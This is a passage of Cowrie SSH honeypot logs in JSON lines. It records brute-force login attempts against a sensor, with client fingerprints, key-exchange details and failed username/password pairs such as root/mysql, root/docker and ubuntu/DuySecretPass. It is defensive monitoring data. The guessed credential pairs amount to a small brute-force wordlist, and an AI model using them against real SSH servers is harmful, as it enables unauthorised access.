,"aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:48.429881Z","src_ip":"190.181.25.210","session":"890681ad7497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vasadmin","password":"vasadmin","message":"login attempt [vasadmin/vasadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:48.941133Z","src_ip":"190.181.25.210","session":"890681ad7497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:49.485965Z","src_ip":"144.31.152.46","session":"2898f10bd8b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.31.152.46","src_port":36074,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce40ae3d162f","protocol":"ssh","message":"New connection: 144.31.152.46:36074 (159.203.135.109:22) [session: ce40ae3d162f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:49.598426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:49.603236Z","src_ip":"144.31.152.46","session":"ce40ae3d162f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:49.727068Z","src_ip":"144.31.152.46","session":"ce40ae3d162f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:50.061819Z","src_ip":"190.181.25.210","session":"890681ad7497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:50.111181Z","src_ip":"144.31.152.46","session":"ce40ae3d162f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:51.238052Z","src_ip":"144.31.152.46","session":"ce40ae3d162f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.31.152.46","src_port":36080,"dst_ip":"159.203.135.109","dst_port":22,"session":"71f018ba704a","protocol":"ssh","message":"New connection: 144.31.152.46:36080 (159.203.135.109:22) [session: 71f018ba704a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:51.371136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:51.376445Z","src_ip":"144.31.152.46","session":"71f018ba704a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:51.507184Z","src_ip":"144.31.152.46","session":"71f018ba704a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:51.890117Z","src_ip":"144.31.152.46","session":"71f018ba704a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:53.022197Z","src_ip":"144.31.152.46","session":"71f018ba704a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.31.152.46","src_port":36088,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bf1e07a064f","protocol":"ssh","message":"New connection: 144.31.152.46:36088 (159.203.135.109:22) [session: 2bf1e07a064f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:53.132056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:53.137137Z","src_ip":"144.31.152.46","session":"2bf1e07a064f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:53.258492Z","src_ip":"144.31.152.46","session":"2bf1e07a064f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:53.622013Z","src_ip":"144.31.152.46","session":"2bf1e07a064f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:54.750313Z","src_ip":"144.31.152.46","session":"2bf1e07a064f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.31.152.46","src_port":36100,"dst_ip":"159.203.135.109","dst_port":22,"session":"66efb94d6c54","protocol":"ssh","message":"New connection: 144.31.152.46:36100 (159.203.135.109:22) [session: 66efb94d6c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:54.877156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:54.882042Z","src_ip":"144.31.152.46","session":"66efb94d6c54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:55.013811Z","src_ip":"144.31.152.46","session":"66efb94d6c54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:55.408722Z","src_ip":"144.31.152.46","session":"66efb94d6c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:56.542935Z","src_ip":"144.31.152.46","session":"66efb94d6c54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.31.152.46","src_port":51534,"dst_ip":"159.203.135.109","dst_port":22,"session":"11b76b1957fa","protocol":"ssh","message":"New connection: 144.31.152.46:51534 (159.203.135.109:22) [session: 11b76b1957fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:56.660693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:56.665628Z","src_ip":"144.31.152.46","session":"11b76b1957fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:56.794669Z","src_ip":"144.31.152.46","session":"11b76b1957fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:57.167975Z","src_ip":"144.31.152.46","session":"11b76b1957fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":56986,"dst_ip":"10.17.0.5","dst_port":22,"session":"fee8017e2e47","protocol":"ssh","message":"New connection: 103.15.226.202:56986 (10.17.0.5:22) [session: fee8017e2e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:57.696428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:57.701746Z","src_ip":"103.15.226.202","session":"fee8017e2e47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:57.946188Z","src_ip":"103.15.226.202","session":"fee8017e2e47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:58.295807Z","src_ip":"144.31.152.46","session":"11b76b1957fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.31.152.46","src_port":51540,"dst_ip":"159.203.135.109","dst_port":22,"session":"7add1b33e602","protocol":"ssh","message":"New connection: 144.31.152.46:51540 (159.203.135.109:22) [session: 7add1b33e602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:58.436502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:58.442827Z","src_ip":"144.31.152.46","session":"7add1b33e602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:58.577789Z","src_ip":"144.31.152.46","session":"7add1b33e602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"DuySecretPass","message":"login attempt [ubuntu/DuySecretPass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:58.692007Z","src_ip":"103.15.226.202","session":"fee8017e2e47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:58.981658Z","src_ip":"144.31.152.46","session":"7add1b33e602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:43:59.938617Z","src_ip":"103.15.226.202","session":"fee8017e2e47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:00.125897Z","src_ip":"144.31.152.46","session":"7add1b33e602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.31.152.46","src_port":51550,"dst_ip":"159.203.135.109","dst_port":22,"session":"239735487825","protocol":"ssh","message":"New connection: 144.31.152.46:51550 (159.203.135.109:22) [session: 239735487825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:00.247650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:00.252932Z","src_ip":"144.31.152.46","session":"239735487825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:00.388559Z","src_ip":"144.31.152.46","session":"239735487825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:00.774097Z","src_ip":"144.31.152.46","session":"239735487825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:01.915277Z","src_ip":"144.31.152.46","session":"239735487825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.31.152.46","src_port":51560,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6b089b6c873","protocol":"ssh","message":"New connection: 144.31.152.46:51560 (159.203.135.109:22) [session: b6b089b6c873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:02.040683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:02.048374Z","src_ip":"144.31.152.46","session":"b6b089b6c873","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:02.184421Z","src_ip":"144.31.152.46","session":"b6b089b6c873","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:44:02.584788Z","src_ip":"144.31.152.46","session":"b6b089b6c873","protocol":"ssh"}
